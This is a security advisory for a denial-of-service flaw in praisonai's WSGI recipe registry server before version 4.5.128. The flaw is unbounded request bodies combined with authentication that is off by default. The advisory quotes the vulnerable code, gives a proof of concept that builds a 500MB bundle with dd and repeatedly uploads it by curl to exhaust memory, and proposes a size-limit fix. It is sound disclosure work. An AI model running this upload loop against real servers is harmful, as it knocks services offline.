| Package | Affected versions | Patched versions |
|---|---|---|
| praisonai | < 4.5.128 | 4.5.128 |
| praisonai | < 4.5.128 | 4.5.128 |
The WSGI-based recipe registry server (server.py) reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (serve.py) has RequestSizeLimitMiddleware with a 10MB limit, but the WSGI server lacks any equivalent protection.
The vulnerable code path in src/praisonai/praisonai/recipe/server.py:
1. No size limit on body read (line 551-555):
content_length = int(environ.get("CONTENT_LENGTH", 0))
body = environ["wsgi.input"].read(content_length) if content_length > 0 else b""
The content_length is taken directly from the HTTP header with no maximum check. The entire body is read into a single bytes object in memory.
2. Second in-memory copy via multipart parsing (line 169-172):
result = {"fields": {}, "files": {}}
boundary_bytes = f"--{boundary}".encode()
parts = body.split(boundary_bytes)
The _parse_multipart method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.
3. Third copy to temp file (line 420-421):
with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp:
tmp.write(bundle_content)
The bundle content is then written to disk and persisted in the registry, also without size checks.
4. Authentication disabled by default (line 91-94):
def _check_auth(self, headers: Dict[str, str]) -> bool:
if not self.token:
return True # No token configured = no auth
The self.token defaults to None unless PRAISONAI_REGISTRY_TOKEN is set or --token is passed on the CLI.
The entry point is praisonai registry serve (cli/features/registry.py:176), which calls run_server() binding to 127.0.0.1:7777 by default.
In contrast, serve.py (the Starlette server) has RequestSizeLimitMiddleware at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free# Start the registry server with default settings (no auth, localhost)
praisonai registry serve &
# Step 1: Create a large bundle (~500MB)
mkdir -p /tmp/dos-test
echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json
dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500
tar czf /tmp/dos-bundle.praison -C /tmp/dos-test .
# Step 2: Upload — server buffers ~500MB into RAM with no limit
curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \
-F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true'
# Step 3: Repeat to exhaust memory
for v in 1.0.{1..10}; do
curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \
-F 'bundle=@/tmp/dos-bundle.praison' &
done
# Server process will be OOM-killed
~/.praison/registry/ with no quota, potentially filling the filesystem.The default bind address of 127.0.0.1 limits exploitability to local attackers or SSRF scenarios. If a user binds to 0.0.0.0 (common for shared environments or containers), the attack surface extends to the network.
Add a request size limit to the WSGI application, consistent with serve.py's 10MB default:
# In create_wsgi_app(), before reading the body:
MAX_REQUEST_SIZE = 10 * 1024 * 1024 # 10MB, matching serve.py
def application(environ, start_response):
# ... existing code ...
# Read body with size limit
try:
content_length = int(environ.get("CONTENT_LENGTH", 0))
except (ValueError, TypeError):
content_length = 0
if content_length > MAX_REQUEST_SIZE:
status = "413 Request Entity Too Large"
response_headers = [("Content-Type", "application/json")]
body = json.dumps({
"error": {
"code": "request_too_large",
"message": f"Request body too large. Max: {MAX_REQUEST_SIZE} bytes"
}
}).encode()
start_response(status, response_headers)
return [body]
body = environ["wsgi.input"].read(content_length) if content_length > 0 else b""
# ... rest of handler ...
Additionally, consider:
--max-request-size CLI flag to praisonai registry serveLocalRegistry.publish()